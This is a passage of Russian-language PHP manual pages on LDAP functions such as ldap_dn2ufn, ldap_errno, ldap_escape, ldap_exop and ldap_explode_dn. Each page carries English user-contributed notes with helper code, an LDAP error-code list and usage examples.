    if($recursive == false){
        return(ldap_delete($ds,$dn));
    }else{
        //searching for sub entries
        $sr=ldap_list($ds,$dn,"ObjectClass=*",array(""));
        $info = ldap_get_entries($ds, $sr);
        for($i=0;$i<$info['count'];$i++){
            //deleting recursively sub entries
            $result=myldap_delete($ds,$info[$i]['dn'],$recursive);
            if(!$result){
                //return result code, if delete fails
                return($result);
            }
        }
        return(ldap_delete($ds,$dn));
    }
}


Преобразовать DN в удобный для пользователя формат именования

  • « ldap_delete
  • ldap_err2str »
  • PHP Manual
  • Функции LDAP
  • Преобразовать DN в удобный для пользователя формат именования

ldap_dn2ufn

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_dn2ufn — Преобразовать DN в удобный для пользователя формат именования

Описание

ldap_dn2ufn(string $dn): string|false

Переключает указанный dn в более удобную для пользователя форму, снимая изоляцию с имён типов.

Список параметров

dn

Отличительное имя объекта LDAP.

Возвращаемые значения

Возвращает удобное для пользователя имя или false в случае возникновения ошибки.

User Contributed Notes

naaina at gmail dot com 18-Feb-2005 04:18
Don't know if anyone is interested in this, but this is a modified and more dynamic version of the posting below. Since ldap_dn2ufn takes ',' as delimiter for the UFNs, we'll also use it here. $pHowToBuild specifies, how the DN is going to be build.

Short example:

$myUFN = ldap_dn2ufn("cn=naaina, ou=container1, ou=container2, ou=container3, o=private, c=de");
echo $myUFN . "\n"; // will return "naaina, container1, container2, container3, private, de"

$myDN = $ldapObject->conv_ufn2dn($myUFN);
echo $myDN . "\n"; // will return "cn=naaina,ou=container1,ou=container2,ou=container3,o=private,c=de"

For the object name, $pHowToBuild["object"] is going to be used as prefix - for containers $pHowToBuild["container"] and for the last n elements $pHowToBuild["last"].

<?php
  function ldap_ufn2dn (
   $pUFN,
   $pDelimiter = ",",
   $pHowToBuild = array(
    "object" => "cn",
    "container" => "ou",
    "last" => array("o", "c")
   )
  )
  {
   $resultDN = null;

   if(!empty($pUFN)) {
     /* Check $pHowToBuild */
     if(is_array($pHowToBuild)) {
       /* Check if required keys are existent */
       if(array_key_exists("object", $pHowToBuild) &&
          array_key_exists("container", $pHowToBuild) &&
          array_key_exists("last", $pHowToBuild))
       {
         $ufnArray = explode($pDelimiter, $pUFN);
         $ufnLast  = count($ufnArray) - count($pHowToBuild["last"]);

         /* Remove empty values */
         foreach($ufnArray as $objKey => $objVal)
           if(empty($objVal))
             array_splice($ufnArray, $objKey, 1);

         /* Now build the DN ... */
         foreach($ufnArray as $objKey => $objVal) {
           $objVal = trim($objVal);

           if($objKey == 0) {
             /* For the object */
             $resultDN .= $pHowToBuild["object"] . "=" . $objVal . ",";
           } elseif ($objKey >= $ufnLast) {
             /* For last parts of the DN */
             $resultDN .= $pHowToBuild["last"][$objKey - $ufnLast] . "=" . $objVal;
             if(($objKey - $ufnLast - 1) != 0) {
               $resultDN .= ",";
             }
           } else {
             /* For containers */
             $resultDN .= $pHowToBuild["container"] . "=" . $objVal . ",";
           }
         }
       }
     }
   }

   return $resultDN;
  }
?>
alex at netflex dot nl 15-Oct-2002 04:09
The function of bryan will only work if you start with an Organization and using only an Organizational Unit as a container and the object is an CN.

For example:

$DN = "CN=DNS,CN=Authorized Login Methods,CN=Security";

echo ($DN = ldap_dn2ufn($DN)) . "\n";

echo ($DN = ldap_ufn2dn($DN)) . "\n";

will echo:

DNS,Authorized Login Methods,Security

CN=DNS,OU=Authorized Login Methods,O=Security
bryan at apachetoolbox dot com 24-Jul-2001 04:47
function ldap_unf2dn($unf,$delimeter=".") {
 $seperated = explode($delimeter,$unf); //split the unf up by the given delimeter
 $LastKey=count($seperated)-1;          //0 is the first key to total-1 would be the last key
 foreach($seperated as $key => $value) {
  if ($key == 1) {              //first variable is the CN
   $dn="${dn}cn=$value,";
  } elseif ($key == $LastKey) { //last variable, so it's the O
   $dn="${dn}o=$value";
  } elseif ($value == "") {     //value is blank, so continue
   continue;
  } else {                      //just a typical OU
   $dn="${dn}ou=$value,";
  }

 };
return $dn;

}

$unf=".bryan.users.admin.apachetoolbox";
$dn=ldap_unf2dn($unf);
print "$dn" // will give me "cn=bryan,ou=users,ou=TS,o=apachetoolbox"
bryan at apachetoolbox dot com 24-Jul-2001 04:12
This function will convert "cn=bryan,ou=users,ou=admin,o=apachetoolbox" to "bryan,users,admin,apachetoolbox".


Преобразовать код ошибки LDAP в строковое сообщение об ошибке

  • « ldap_dn2ufn
  • ldap_errno »
  • PHP Manual
  • Функции LDAP
  • Преобразовать код ошибки LDAP в строковое сообщение об ошибке

ldap_err2str

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_err2str — Преобразовать код ошибки LDAP в строковое сообщение об ошибке

Описание

ldap_err2str(int $errno): string

Возвращает строковое сообщение об ошибке, объясняющее код ошибки errno. В то время как LDAP числа errno стандартизированы, различные библиотеки возвращают отличающиеся или даже локализованные текстовые сообщения об ошибках. Никогда не проверяйте на определённый текст сообщения об ошибке, всегда пользуйтесь кодами ошибок для проверки.

Список параметров

errno

Номер ошибки.

Возвращаемые значения

Возвращает сообщение ошибки в виде строки.

Примеры

Пример #1 Перечисление всех сообщений об ошибках LDAP

<?php
for ($i=0; $i<100; $i++) {
printf("Ошибка $i: %s<br />\n", ldap_err2str($i));
}
?>

Смотрите также

  • ldap_errno() - Возвратить номер ошибки LDAP последней команды
  • ldap_error() - Возвратить сообщение об ошибке LDAP последней команды

User Contributed Notes

There are no user contributed notes for this page.


Возвратить номер ошибки LDAP последней команды

  • « ldap_err2str
  • ldap_error »
  • PHP Manual
  • Функции LDAP
  • Возвратить номер ошибки LDAP последней команды

ldap_errno

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_errno — Возвратить номер ошибки LDAP последней команды

Описание

ldap_errno(LDAP\Connection $ldap): int

Возвращает стандартизированный код ошибки, возвращённый последней командой LDAP. Это число может быть преобразовано в текстовое сообщение об ошибке, используя ldap_err2str().

Список параметров

ldap

Экземпляр LDAP\Connection, возвращаемый функцией ldap_connect().

Возвращаемые значения

Возвращает код ошибки LDAP последней команды для этой ссылки.

Список изменений

Версия | Описание
8.1.0 | Параметр ldap теперь ожидает экземпляр LDAP\Connection; ранее ожидался ресурс (resource) ldap link .

Примеры

Если вы не снизите достаточно уровень предупреждений в php.ini, или префикс ваших LDAP-команд не будет с символом @ для подавления вывода предупреждений, генерируемые ошибки будут также отображаться в вашем HTML выводе.

Пример #1 Генерирование и фиксация ошибки

<?php
// Этот пример содержит ошибку, которую мы поймаем
$ld = ldap_connect("localhost");
$bind = ldap_bind($ld);
// синтаксическая ошибка в выражении фильтра (errno 87),
// должно быть "objectclass=*" для того, чтобы это работало.
$res = @ldap_search($ld, "o=Myorg, c=DE", "objectclass");
if (!$res) {
echo "LDAP-Errno: " . ldap_errno($ld) . "<br />\n";
echo "LDAP-Error: " . ldap_error($ld) . "<br />\n";
die("Argh!<br />\n");
}
$info = ldap_get_entries($ld, $res);
echo $info["count"] . " подходящих записей.<br />\n";
?>

Смотрите также

  • ldap_err2str() - Преобразовать код ошибки LDAP в строковое сообщение об ошибке
  • ldap_error() - Возвратить сообщение об ошибке LDAP последней команды

User Contributed Notes

11-Apr-2002 04:23
Common LDAP error codes

LDAP_SUCCESS                    0x00
LDAP_OPERATIONS_ERROR           0x01
LDAP_PROTOCOL_ERROR             0x02
LDAP_TIMELIMIT_EXCEEDED         0x03
LDAP_SIZELIMIT_EXCEEDED         0x04
LDAP_COMPARE_FALSE              0x05
LDAP_COMPARE_TRUE               0x06
LDAP_AUTH_METHOD_NOT_SUPPORTED  0x07
LDAP_STRONG_AUTH_REQUIRED       0x08
// Not used in LDAPv3
LDAP_PARTIAL_RESULTS            0x09

// Next 5 new in LDAPv3
LDAP_REFERRAL           0x0a
LDAP_ADMINLIMIT_EXCEEDED        0x0b
LDAP_UNAVAILABLE_CRITICAL_EXTENSION     0x0c
LDAP_CONFIDENTIALITY_REQUIRED   0x0d
LDAP_SASL_BIND_INPROGRESS       0x0e

LDAP_NO_SUCH_ATTRIBUTE          0x10
LDAP_UNDEFINED_TYPE             0x11
LDAP_INAPPROPRIATE_MATCHING     0x12
LDAP_CONSTRAINT_VIOLATION       0x13
LDAP_TYPE_OR_VALUE_EXISTS       0x14
LDAP_INVALID_SYNTAX             0x15

LDAP_NO_SUCH_OBJECT             0x20   /* 32 */
LDAP_ALIAS_PROBLEM              0x21
LDAP_INVALID_DN_SYNTAX          0x22
// Next two not used in LDAPv3
LDAP_IS_LEAF                    0x23
LDAP_ALIAS_DEREF_PROBLEM        0x24

LDAP_INAPPROPRIATE_AUTH         0x30   /* 48 */
LDAP_INVALID_CREDENTIALS        0x31   /* 49 */
LDAP_INSUFFICIENT_ACCESS        0x32
LDAP_BUSY                       0x33
LDAP_UNAVAILABLE                0x34
LDAP_UNWILLING_TO_PERFORM       0x35
LDAP_LOOP_DETECT                0x36

LDAP_SORT_CONTROL_MISSING       0x3C    /* 60 */
LDAP_INDEX_RANGE_ERROR          0x3D    /* 61 */

LDAP_NAMING_VIOLATION           0x40
LDAP_OBJECT_CLASS_VIOLATION     0x41
LDAP_NOT_ALLOWED_ON_NONLEAF     0x42
LDAP_NOT_ALLOWED_ON_RDN         0x43
LDAP_ALREADY_EXISTS             0x44    /* 68 */
LDAP_NO_OBJECT_CLASS_MODS       0x45
LDAP_RESULTS_TOO_LARGE          0x46
// Next two for LDAPv3
LDAP_AFFECTS_MULTIPLE_DSAS      0x47
LDAP_OTHER                      0x50

// Used by some APIs
LDAP_SERVER_DOWN                0x51
LDAP_LOCAL_ERROR                0x52
LDAP_ENCODING_ERROR             0x53
LDAP_DECODING_ERROR             0x54
LDAP_TIMEOUT                    0x55
LDAP_AUTH_UNKNOWN               0x56
LDAP_FILTER_ERROR               0x57    /* 87 */
LDAP_USER_CANCELLED             0x58
LDAP_PARAM_ERROR                0x59
LDAP_NO_MEMORY                  0x5a

// Preliminary LDAPv3 codes
LDAP_CONNECT_ERROR              0x5b
LDAP_NOT_SUPPORTED              0x5c
LDAP_CONTROL_NOT_FOUND  0x5d
LDAP_NO_RESULTS_RETURNED        0x5e
LDAP_MORE_RESULTS_TO_RETURN     0x5f
LDAP_CLIENT_LOOP        0x60
LDAP_REFERRAL_LIMIT_EXCEEDED    0x61
ahall at mirapoint dot com 30-Jul-2001 07:16
Couple of good error codes to get started.  If you want to detect failure of ldap_add due to the record already existing, ldap_error == 0x44.  This means, you can do something like:

$r = ldap_add($ds, $dn, $info);
if (!$r) {
    if (ldap_errno($ds) == 0x44) {
         // Do something about it
    } else {
         // A real failure
    }
}

Similarly, on ldap_delete, you will get a 0x20 value (No Such Object) if you try to delete something that isn't there.


Возвратить сообщение об ошибке LDAP последней команды

  • « ldap_errno
  • ldap_escape »
  • PHP Manual
  • Функции LDAP
  • Возвратить сообщение об ошибке LDAP последней команды

ldap_error

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_error — Возвратить сообщение об ошибке LDAP последней команды

Описание

ldap_error(LDAP\Connection $ldap): string

Возвращает строковое сообщение об ошибке, объясняя ошибку, сгенерированную последней командой LDAP для данного идентификатора соединения ldap. В то время как LDAP errno числа стандартизированы, различные библиотеки возвращают отличающийся или даже локализованные текстовые сообщения об ошибках. Никогда не проверяйте на определённый текст сообщения об ошибке, всегда используйте кодами ошибок для проверки.

Если вы не снизите достаточно уровень предупреждений в php.ini, или префикс ваших LDAP-команд не будет с символом @ для подавления вывода предупреждений, генерируемые ошибки будут также отображаться в вашем HTML выводе.

Список параметров

ldap

Экземпляр LDAP\Connection, возвращаемый функцией ldap_connect().

Возвращаемые значения

Возвращает сообщение ошибки в виде строки.

Список изменений

Версия | Описание
8.1.0 | Параметр ldap теперь ожидает экземпляр LDAP\Connection; ранее ожидался ресурс (resource) ldap link .

Смотрите также

  • ldap_err2str() - Преобразовать код ошибки LDAP в строковое сообщение об ошибке
  • ldap_errno() - Возвратить номер ошибки LDAP последней команды

User Contributed Notes

Michael Newton 18-Nov-2017 12:23
Note that you can sometimes get more detailed error messages by getting the value of the LDAP_OPT_DIAGNOSTIC_MESSAGE option.

For example, after a recent connection error the two gave very different info:

<?php
$conn = ldap_connect($server);
ldap_search($conn, $dn, $query);

echo "ldap_error: " . ldap_error($conn);
ldap_get_option($conn, LDAP_OPT_DIAGNOSTIC_MESSAGE, $err);
echo "ldap_get_option: $err";
?>

This resulted in:

  ldap_error: Can't contact LDAP server
  ldap_get_option: TLS: hostname does not match CN in peer certificate
edA-qa at disemia dot com 28-Jul-2008 06:43
For those wondering, this function appears to do the same thing as:
<?php
ldap_err2str( ldap_errno() );
?>


Экранирование строки для использования в фильтре LDAP или в DN

  • « ldap_error
  • ldap_exop_passwd »
  • PHP Manual
  • Функции LDAP
  • Экранирование строки для использования в фильтре LDAP или в DN

ldap_escape

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

ldap_escape — Экранирование строки для использования в фильтре LDAP или в DN

Описание

ldap_escape(string $value, string $ignore = "", int $flags = 0): string

Экранирует value для использования в контексте заданном в flags.

Список параметров

value

Значение для экранирования.

ignore

Символы, которые необходимо игнорировать при экранировании.

flags

Контекст, для которого экранируется строка: LDAP_ESCAPE_FILTER для фильтров, используемых в ldap_search() или LDAP_ESCAPE_DN для DN. Если не переданы никакие флаги, то все символы будут экранированы.

Возвращаемые значения

возвращает экранированную строку.

Примеры

При построении фильтра LDAP, вы должны использовать ldap_escape с флагом LDAP_ESCAPE_FILTER.

Пример #1 Поиск по email-адресу

<?php
// $ds допустимый экземпляр LDAP\Connection

// $mail - email-адрес, предоставленный пользователем

$base = "o=My Company, c=US";
$filter = "(mail=".ldap_escape($mail, "", LDAP_ESCAPE_FILTER).")";

$sr = ldap_search($ds, $base, $filter, array("sn", "givenname", "mail"));

$info = ldap_get_entries($ds, $sr);

echo $info["count"]." записей возвращено\n";
?>

User Contributed Notes

support at extollit dot com 24-Feb-2020 06:44
Suppose you want to reverse the operation, here is a way to "ldap_unescape"

<?php

function ldap_unescape($string) {
    return
        preg_replace_callback(
            "/\\\\[\da-z]{2}/",
            function ($matches) {
                $match = array_shift($matches);
                return hex2bin(substr($match, 1));
            },
            $string
        );
}

$result = ldap_unescape("uid=\\61\\6c\\70\\68\\6f\\6e\\7a\\6f,ou=people,dc=foo,dc=com"); // uid=alphonzo,ou=people,dc=foo,dc=com

?>
martin dot keckeis1 at gmail dot com 09-Oct-2015 08:48
You can use it like this for filtering

<?php
$badSearchInput = 'Domain\username';

$escapedSearchInput = ldap_escape($badSearchInput, null, LDAP_ESCAPE_FILTER);
?>


Обёртка для расширенной операции PASSWD

  • « ldap_escape
  • ldap_exop_refresh »
  • PHP Manual
  • Функции LDAP
  • Обёртка для расширенной операции PASSWD

ldap_exop_passwd

(PHP 7 >= 7.2.0, PHP 8)

ldap_exop_passwd — Обёртка для расширенной операции PASSWD

Описание

ldap_exop_passwd(
LDAP\Connection $ldap,
string $user = "",
string $old_password = "",
string $new_password = "",
array &$controls = null
): string|bool

Выполняет расширенную операцию PASSWD.

Список параметров

ldap

Экземпляр LDAP\Connection, возвращаемый функцией ldap_connect().

user

Уникальное имя (DN) пользователя, для которого меняется пароль.

old_password

Старый пароль. В зависимости от конфигурации может быть опущен.

new_password

Новый пароль. Может быть опущен, либо задан пустым для автогенерации пароля.

controls

Если задано, то с запросом будет передан запрос парольной политики и это поле будет заполнено массивом управляющих констант LDAP, возвращённым запросом.

Возвращаемые значения

Возвращает новый пароль, если параметр new_password не задан, либо задан пустым. Иначе возвращает true или false, в зависимости от успешности выполнения.

Список изменений

Версия | Описание
8.1.0 | Параметр ldap теперь ожидает экземпляр LDAP\Connection; ранее ожидался ресурс (resource) ldap link .
8.0.0 | controls теперь допускает значение null; ранее значение по умолчанию было [].
7.3.0 | Добавлена поддержка параметра controls

Примеры

Пример #1 Расширенная операция PASSWD

<?php
$ds = ldap_connect("localhost"); // предположим, что сервер LDAP запущен локально

if ($ds) {
// Привязываемся к нужному DN
$bind = ldap_bind($ds, "cn=root, o=My Company, c=US", "secret");
if (!$bind) {
echo "Невозможно осуществить привязку LDAP";
exit;
}

// Используем PASSWD EXOP для смены пароля пользователя на новый случайный
$genpw = ldap_exop_passwd($ds, "cn=root, o=My Company, c=US", "secret");
if ($genpw) {
// Используем для привязки новый пароль
$bind = ldap_bind($ds, "cn=root, o=My Company, c=US", $genpw);
}

// Возвращаем старый пароль "secret"
ldap_exop_passwd($ds, "cn=root, o=My Company, c=US", $genpw, "secret");

ldap_close($ds);
} else {
echo "Невозможно соединиться с сервером LDAP";
}
?>

Смотрите также

  • ldap_exop() - Выполняет расширенную операцию
  • ldap_parse_exop() - Разбор результирующего объекта выполнения расширенной операции LDAP

User Contributed Notes

dumm at tutoerilio dot gnu 20-Aug-2018 02:27
Schnaberhagi summberlio rumbasuuna gumpperlimuss!


Обёртка для расширенной операции Refresh

  • « ldap_exop_passwd
  • ldap_exop_sync »
  • PHP Manual
  • Функции LDAP
  • Обёртка для расширенной операции Refresh

ldap_exop_refresh

(PHP 7 >= 7.3.0, PHP 8)

ldap_exop_refresh — Обёртка для расширенной операции Refresh

Описание

ldap_exop_refresh(LDAP\Connection $ldap, string $dn, int $ttl): int|false

Выполняет расширенную операцию Performs и возвращает результат.

Список параметров

ldap

Экземпляр LDAP\Connection, возвращаемый функцией ldap_connect().

dn

Уникальное имя (DN) записи для которой выполняется операция.

ttl

Время в секундах (от 1 до 31557600) существования записи в каталоге, запрошенное клиентом. По истечении этого времени она будет автоматически удалена.

Возвращаемые значения

Из RFC: Поле responseTtl содержит время в секундах считаемое сервером временем жизни записи. Оно не может быть меньше запрошенного клиентом, но может быть больше. Однако, чтобы позволить серверам поддерживать каталог в относительно консистентном состоянии и для предотвращения злоупотребления клиентами постоянным продлением, серверу дозволено уменьшать запрошенное клиентом значение до, но не меньше чем, 86400 секунд (один день). В случае возникновения ошибки вернёт false.

Список изменений

Версия | Описание
8.1.0 | Параметр ldap теперь ожидает экземпляр LDAP\Connection; ранее ожидался ресурс (resource) ldap link .

Смотрите также

  • ldap_exop() - Выполняет расширенную операцию

User Contributed Notes

Roland Gruber 16-Jul-2018 03:48
The following workaround can be used to run the refresh command in PHP 7.2.

$dn= 'cn=user,dc=test,dc=org';
$ttl = 3600;
$data = '';
$data .= '80' . sprintf("%'.02x", strlen($dn)) . bin2hex($dn);
$data .= '81' . sprintf("%'.02x", 4) . sprintf("%'.08x", $ttl);
$data = hex2bin('30' . sprintf("%'.02x", strlen($data)/2) . $data);
$success = ldap_exop($ldapHandle, LDAP_EXOP_REFRESH, $data);


Performs an extended operation

  • « ldap_exop_refresh
  • ldap_exop_whoami »
  • PHP Manual
  • Функции LDAP
  • Performs an extended operation

ldap_exop_sync

(PHP 8 >= 8.3.0)

ldap_exop_sync — Performs an extended operation

Описание

ldap_exop_sync(
LDAP\Connection $ldap,
string $request_oid,
string $request_data = null,
array $controls = null,
string &$response_data = null,
string &$response_oid = null
): LDAP\Result|bool

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

ldap

Экземпляр LDAP\Connection, возвращаемый функцией ldap_connect().

request_oid

request_data

controls

response_data

response_oid

Возвращаемые значения

Смотрите также

  • ldap_exop() - Выполняет расширенную операцию

User Contributed Notes

There are no user contributed notes for this page.


Обёртка для расширенной операции WHOAMI

  • « ldap_exop_sync
  • ldap_exop »
  • PHP Manual
  • Функции LDAP
  • Обёртка для расширенной операции WHOAMI

ldap_exop_whoami

(PHP 7 >= 7.2.0, PHP 8)

ldap_exop_whoami — Обёртка для расширенной операции WHOAMI

Описание

ldap_exop_whoami(LDAP\Connection $ldap): string|false

Выполняет расширенную операцию WHOAMI и возвращает данные.

Список параметров

ldap

Экземпляр LDAP\Connection, возвращаемый функцией ldap_connect().

Возвращаемые значения

Данные, возвращённые сервером, либо false.

Список изменений

Версия | Описание
8.1.0 | Параметр ldap теперь ожидает экземпляр LDAP\Connection; ранее ожидался ресурс (resource) ldap link .

Смотрите также

  • ldap_exop() - Выполняет расширенную операцию

User Contributed Notes

There are no user contributed notes for this page.


Выполняет расширенную операцию

  • « ldap_exop_whoami
  • ldap_explode_dn »
  • PHP Manual
  • Функции LDAP
  • Выполняет расширенную операцию

ldap_exop

(PHP 7 >= 7.2.0, PHP 8)

ldap_exop — Выполняет расширенную операцию

Описание

ldap_exop(
LDAP\Connection $ldap,
string $request_oid,
string $request_data = null,
array $controls = null,
string &$response_data = ?,
string &$response_oid = ?
): mixed

Выполняет расширенную операцию для заданного соединения ldap с OID операции request_oid и данными request_data.

Список параметров

ldap

Экземпляр LDAP\Connection, возвращаемый функцией ldap_connect().

request_oid

Идентификатор расширенной операции OID. Можно использовать одну из констант LDAP_EXOP_START_TLS, LDAP_EXOP_MODIFY_PASSWD, LDAP_EXOP_REFRESH, LDAP_EXOP_WHO_AM_I, LDAP_EXOP_TURN или строку с OID необходимой операции.

request_data

Данные для запроса расширенной операции. Может быть null для операций типа LDAP_EXOP_WHO_AM_I. Может потребоваться закодировать BER.

controls

Массив управляющих констант LDAP для посылки в запросе.

response_data

Если задано, то будет заполнено данными, полученными в результате выполнения операции. Если не задано, то для получения данных можно использовать ldap_parse_exop для полученного объекта.

retoid

Если задано, то будет заполнено OID ответа. Обычно совпадает с OID запроса.

Возвращаемые значения

Если используется с response_data, то возвращает true или false. Если используется без response_data, то возвращает идентификатор ресурса или false.

Список изменений

Версия | Описание
8.1.0 | Параметр ldap теперь ожидает экземпляр LDAP\Connection; ранее ожидался ресурс (resource) ldap link .
7.3.0 | Добавлена поддержка controls

Примеры

Пример #1 Расширенная операция Whoami

<?php
$ds = ldap_connect("localhost"); // предположим, что сервер LDAP запущен локально

if ($ds) {
// Привязываемся к нужному DN
$bind = ldap_bind($ds, "cn=root, o=My Company, c=US", "secret");
if (!$bind) {
echo "Невозможно осуществить привязку LDAP";
exit;
}

// Вызываем WHOAMI EXOP
$r = ldap_exop($ds, LDAP_EXOP_WHO_AM_I);

// Разбираем полученный ответ
ldap_parse_exop($ds, $r, $response_data);
// Вывод: string(31) "dn:cn=root, o=My Company, c=US"
var_dump($response_data);

// То же самое, но с параметром $response_data
$success = ldap_exop($ds, LDAP_EXOP_WHO_AM_I, NULL, NULL, $response_data, $retoid);
if ($success) {
var_dump($response_data);
}

ldap_close($ds);
} else {
echo "Невозможно соединиться с сервером LDAP";
}
?>

Смотрите также

  • ldap_parse_result() - Извлечь информацию из результата
  • ldap_parse_exop() - Разбор результирующего объекта выполнения расширенной операции LDAP
  • ldap_exop_whoami() - Обёртка для расширенной операции WHOAMI
  • ldap_exop_refresh() - Обёртка для расширенной операции Refresh
  • ldap_exop_passwd() - Обёртка для расширенной операции PASSWD

User Contributed Notes

Roland Gruber 16-Jul-2018 03:50
The following can be used to run the refresh command in PHP 7.2 as ldap_exop_refresh comes with 7.3.

$dn= 'cn=user,dc=test,dc=org';
$ttl = 3600;
$data = '';
$data .= '80' . sprintf("%'.02x", strlen($dn)) . bin2hex($dn);
$data .= '81' . sprintf("%'.02x", 4) . sprintf("%'.08x", $ttl);
$data = hex2bin('30' . sprintf("%'.02x", strlen($data)/2) . $data);
$success = ldap_exop($ldapHandle, LDAP_EXOP_REFRESH, $data);


Разделить DN на его составные части

  • « ldap_exop
  • ldap_first_attribute »
  • PHP Manual
  • Функции LDAP
  • Разделить DN на его составные части

ldap_explode_dn

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_explode_dn — Разделить DN на его составные части

Описание

ldap_explode_dn(string $dn, int $with_attrib): array|false

Разделяет DN, возвращённый функцией ldap_get_dn(), и разбивает его на составные части. Каждая часть известна как относительное отличительное имя или RDN.

Список параметров

dn

Отличительное имя объекта LDAP.

with_attrib

Используется для запроса, если RDNs возвращены только со значениями или также с их атрибутами. Для получения RDNs с атрибутами (то есть в формате attribute=value) установите параметр with_attrib в 0 и для получения только значений установите его в 1.

Возвращаемые значения

Возвращает массив всех компонентов DN или false в случае возникновения ошибки. У первого элемента в этом массиве есть ключ count, и он представляет собой число возвращённых значений. Следующие элементы - это компоненты DN с цифровыми индексами.

User Contributed Notes

emepese 22-Oct-2017 03:25
Probably not the best way but for those who are looking for a way to get de CN of a DN without the "cn=" part this is a function with a regex pattern:

<?php
    function getCNofDN($dn) {
        $return=preg_match('/[^cn=]([^,]*)/i',$dn,$dn);
        return($dn[0]);
    }

  echo getCNofDN("cn=emepese,cn=someLevel,dc=someCompany");

// Will print "emepese"

?>
eero at eero dot info 14-Jun-2017 07:54
I was converting LDAP related code to PHP7 which doesn't support /e modifier with preg_replace anymore, but instead you should use preg_replace_callback. This might help someone working on the same thing:

<?php

$value = 'Universitat';

# < PHP7 compatible code
echo preg_replace("/\\\([0-9A-Fa-f]{2})/e", "''.chr(hexdec('\\1')).''", $value);

# >= PHP7 compatible code
echo preg_replace_callback('/\\\([0-9A-Fa-f]{2})/', function ($matches) { return chr(hexdec($matches[1])); }, $value);
hello+php at NOSPAM dot renoirboulanger dot com 20-Jul-2012 07:20
I came accros this page and enjoyed the comments.

Since a LDAP string can sometimes be lengthy and have many attributes, I needed to be able to sort through all that is in.

In my case, I needed to get the subdomain part and other parameters.

Here is how I built my method.
<?php
    /**
     * Parse, and format a DN string to Array
     *
     * Read a LDAP DN, and return an array keys
     * listing all similar attributes.
     *
     * Also takes care of the character escape and unescape
     *
     * Example:
     * CN=username,OU=UNITNAME,OU=Region,OU=Country,DC=subdomain,DC=domain,DC=com
     *
     * Would normally return:
     * Array (
     *     [count] => 9
     *     [0] => CN=username
     *     [1] => OU=UNITNAME
     *     [2] => OU=Region
     *     [5] => OU=Country
     *     [6] => DC=subdomain
     *     [7] => DC=domain
     *     [8] => DC=com
     * )
     *
     * Returns instead a manageable array:
     * array (
     *     [CN] => array( username )
     *     [OU] => array( UNITNAME, Region, Country )
     *     [DC] => array ( subdomain, domain, com )
     * )
     *
     *
     * @author gabriel at hrz dot uni-marburg dot de 05-Aug-2003 02:27 (part of the character replacement)
     * @author Renoir Boulanger
     *
     * @param  string $dn          The DN
     * @return array
     */
    function parseLdapDn($dn)
    {
        $parsr=ldap_explode_dn($dn, 0);
        //$parsr[] = 'EE=Some Krazi string';
        //$parsr[] = 'AndBogusOne';
        $out = array();
        foreach($parsr as $key=>$value){
            if(FALSE !== strstr($value, '=')){
                list($prefix,$data) = explode("=",$value);
                $data=preg_replace("/\\\\\\([0-9A-Fa-f]{2})/e", "''.chr(hexdec('\\\\1')).''", $data);
                if(isset($current_prefix) && $prefix == $current_prefix){
                    $out[$prefix][] = $data;
                } else {
                    $current_prefix = $prefix;
                    $out[$prefix][] = $data;
                }
            }
        }
        return $out;
    }
?>
DavidSmith at byu dot net 15-Sep-2003 09:06
[ Editor's Note: The segfault has been fixed and will not occur in PHP 4.3.4 or PHP 5.0.0 when they are released.  However, it is still important to escape special characters as detailed below. ]

If your DN contains < or > characters, you must escape them with a backslash or ldap_explode_dn() will give you a "wrong parameter count" error or even a segmentation fault.

For example, these calls will fail with a "wrong parameter count" or a seg fault:

  ldap_explode_dn( "cn=<bob>,dc=example,dc=com", 0 );
  ldap_explode_dn( 'cn=<bob>,dc=example,dc=com', 0 );

But this will succeed

  ldap_explode_dn( "cn=\<bob\>,dc=example,dc=com", 0 );

Notice also that the < and > are escaped with hex codes as noted above. This function is a nice wrapper that properly formats all DNs and can safely be called with < and > characters, and UTF-8 characters:

function my_explode_dn( $dn, $with_attributes=0 )
{
        $dn = addcslashes( $dn, "<>" );
        $result = ldap_explode_dn( $dn, $with_attributes );
        //translate hex code into ascii again
        foreach( $result as $key => $value )
                $result[$key] = preg_replace("/\\\([0-9A-Fa-f]{2})/e", "''.chr(hexdec('\\1')).''", $value);
        return $result;
}

I am using php 4.3.1. Good luck!
gabriel at hrz dot uni-marburg dot de 05-Aug-2003 02:27
Keep attention on UTF8 encoded DNs. Since openLDAP >=2.1.2
ldap_explode_dn turns unprintable chars (in the ASCII sense, UTF8
encoded) into \<hexcode>.

Example:

$dn="ou=Universitat ,c=DE";
var_dump(ldap_explode_dn($dn,0));

//returns

array(3) {
  ["count"]=>
  int(2)
  [0]=>
  string(19) "ou=Universit\C3\A4t"
  [1]=>
  string(4) "c=DE"
}

Unfortunately, PHP don't support the ldap functions ldap_str2dn and
ldap_dn2str, but by means of preg_replace a workaround is possible to
recover the old behaviour of ldap_explode_dn

// workaround
function myldap_explode_dn($dn,$with_attribute){

$result=ldap_explode_dn ($dn, $with_attrib);
 //translate hex code into ascii again
    foreach($result as $key=>$value){
          $result[$key]=preg_replace("/\\\([0-9A-Fa-f]{2})/e", "''.chr(hexdec('\\1')).''", $value);
    }
    return($result);

}
//
//then follows for the example

$dn="ou=Universitat ,c=DE";
var_dump(myldap_explode_dn($dn,0));

//returns

array(3) {
  ["count"]=>
  int(2)
  [0]=>
  string(15) "ou=Universitat"
  [1]=>
  string(4) "c=DE"
}
bs at muekno dot de 23-Oct-2001 04:02
Copying is much better than typing!!!!
Just modify the constants.
Best wishes (and thanX 4 this helpfull site),
Bernd Schwaegerl
Mueller-Knoche GmbH, Systemhaus fuer EDV-Loesungen

# Example:

$HOST = "Yourhostname";
$USER_DN = "Yourldapuser_dn";
$PWD = "Ldapuserpassword";
$BASE_DN = "o=Your_organisation";
$SEARCH_OBJECT="sn=YOUR_SEARCH_PERSON_OBJECTS_SN";

$ldap_handle=ldap_connect($HOST);
$bind_result=ldap_bind($ldap_handle,$USER_DN,$PWD);

$search_result=ldap_search($ldap_handle,$BASE_DN,$SEARCH_OBJECT);
$result=ldap_get_entries($ldap_handle,$search_result);
$result_array=ldap_get_entries($ldap_handle,$result);
$whole_dn=$result_array[0]["dn"];

$dn_parts=ldap_explode_dn($whole_dn,0);


Вернуть первый атрибут

  • « ldap_explode_dn
  • ldap_first_entry »
